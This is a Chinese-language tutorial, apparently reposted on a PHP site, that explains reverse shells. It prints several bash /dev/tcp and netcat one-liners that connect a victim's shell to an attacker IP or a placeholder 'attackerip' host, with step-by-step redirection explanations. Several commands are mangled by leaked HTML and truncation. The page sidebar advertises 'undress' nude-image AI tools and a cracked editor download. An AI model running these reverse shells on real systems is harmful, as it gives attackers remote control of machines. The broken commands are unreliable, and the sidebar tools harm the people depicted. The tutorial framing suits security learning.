搜尋
首頁運維安全反彈shell是什麼意思

反彈shell是什麼意思

May 11, 2023 pm 04:25 PM
shell

*嚴格聲明:本文僅限於技術討論與分享,嚴禁用於非法途徑。

0x00 前言

反彈shell,就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。

通俗點說,反彈shell就是一種反向鏈接,與正向的ssh等不同,它是在對方電腦執行命令連接到我方的攻擊模式,而這種攻擊模式必須搭配遠端執行指令漏洞來使用。

為什麼要反彈shell? 通常用來被指控端因防火牆受限、權限不足、連接埠被佔用等情形。

假設我們攻擊了一台機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器,這是比較常規的形式,我們叫做正向連接。遠端桌面,web服務,sshtelnet等等,都是正向連線。

那麼什麼情況下正向連線不太好用了呢:

1.某客戶機中了你的網馬,但是它在區域網路內,你直接連接不了。

2.它的ip會動態改變,你不能持續控制。

3.由於防火牆等限制,對方機器只能傳送請求,不能接收請求。

4.對於病毒,木馬,受害者什麼時候能中招,對方的網路環境是什麼樣的,什麼時候開關機,都是未知,所以建立一個服務端,讓惡意程式主動連接,才是上策。

那麼反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈shell

0x01 反彈shell演示

我們用bash遠端程式碼執行漏洞實例來了解一下他的原理

攻擊端:10.100. 40.5 受害機:192.168.197.136

首先我們需要在攻擊端去監聽端口,透過這個端口來接收受害機反彈的shell
#在攻擊端輸入指令nc -l 2333

反彈shell是什麼意思

然後在受害機執行指令

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

反彈shell是什麼意思

##我們就發現,在我們的攻擊端已經成功出現了我們的受害端的

shell#,在我們的攻擊端就能對受害端來進行下一步操作

反彈shell是什麼意思

例如:

反彈shell是什麼意思

0x02 原理

#2.1 反彈shell的命令原理

(1)

bash -i

bashlinux的一個比較常見的shell,是許多Linux發行版的預設Shell
-i這個參數的意思是產生互動的shell

(2)

./dev/tcp/ip/port
/dev/tcp|udp/ip/port這個檔案是特別特殊的,實際上可以將其看成一個裝置(Linux下一切皆檔案),其實如果你存取這個檔案的位置他是不存在的,如下圖:

反彈shell是什麼意思

#(3) 但是如果你在一方監聽連接埠的情況下對這個檔案進行讀寫,就能實現與監聽埠的伺服器的

socket通訊

我們輸出字元到

/dev/tcp這個檔案中

受害端:

反彈shell是什麼意思

攻擊端:

反彈shell是什麼意思

#(4) 下面我們在看將輸出轉移到受害端,在攻擊端繼續監聽

2333端口,並且在攻擊端輸入內容回車就會出現在受害端。

反彈shell是什麼意思

反彈shell是什麼意思

(5)這樣思路就比較清晰了,下面再說交互重定向:

為了實現交互,我們需要把受害者互動式

shell的輸出重新導向到攻擊機上;

在受害者機器上輸入:

bash -i > /dev/tcp 10.100.40.5/2333
然後我們發現無論輸入什麼指令都不會有回顯,回顯出現在了攻擊端標準輸出被定向到了攻擊端。

反彈shell是什麼意思

反彈shell是什麼意思

这样只是回显而已,并没有办法在攻击端直接执行命令。

(6)所以我们还需要将攻击者输入的指令输入给受害者的bash

bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="反彈shell是什麼意思"></p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="反彈shell是什麼意思"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

反彈shell是什麼意思

攻击端:

反彈shell是什麼意思

我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

这样命令就不会回显到受害端了。

反彈shell是什麼意思

就算是错误输出也会输出到攻击端,这样就达到了我们的目的。

反彈shell是什麼意思

2.2 常见反弹shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&amp1;done
0/dev/tcp/attackerip/4444; sh &196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

以上是反彈shell是什麼意思的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:亿速云。如有侵權,請聯絡admin@php.cn刪除

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

MantisBT

MantisBT

Mantis是一個易於部署的基於Web的缺陷追蹤工具,用於幫助產品缺陷追蹤。它需要PHP、MySQL和一個Web伺服器。請查看我們的演示和託管服務。

Atom編輯器mac版下載

Atom編輯器mac版下載

最受歡迎的的開源編輯器

VSCode Windows 64位元 下載

VSCode Windows 64位元 下載

微軟推出的免費、功能強大的一款IDE編輯器

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

EditPlus 中文破解版

EditPlus 中文破解版

體積小,語法高亮,不支援程式碼提示功能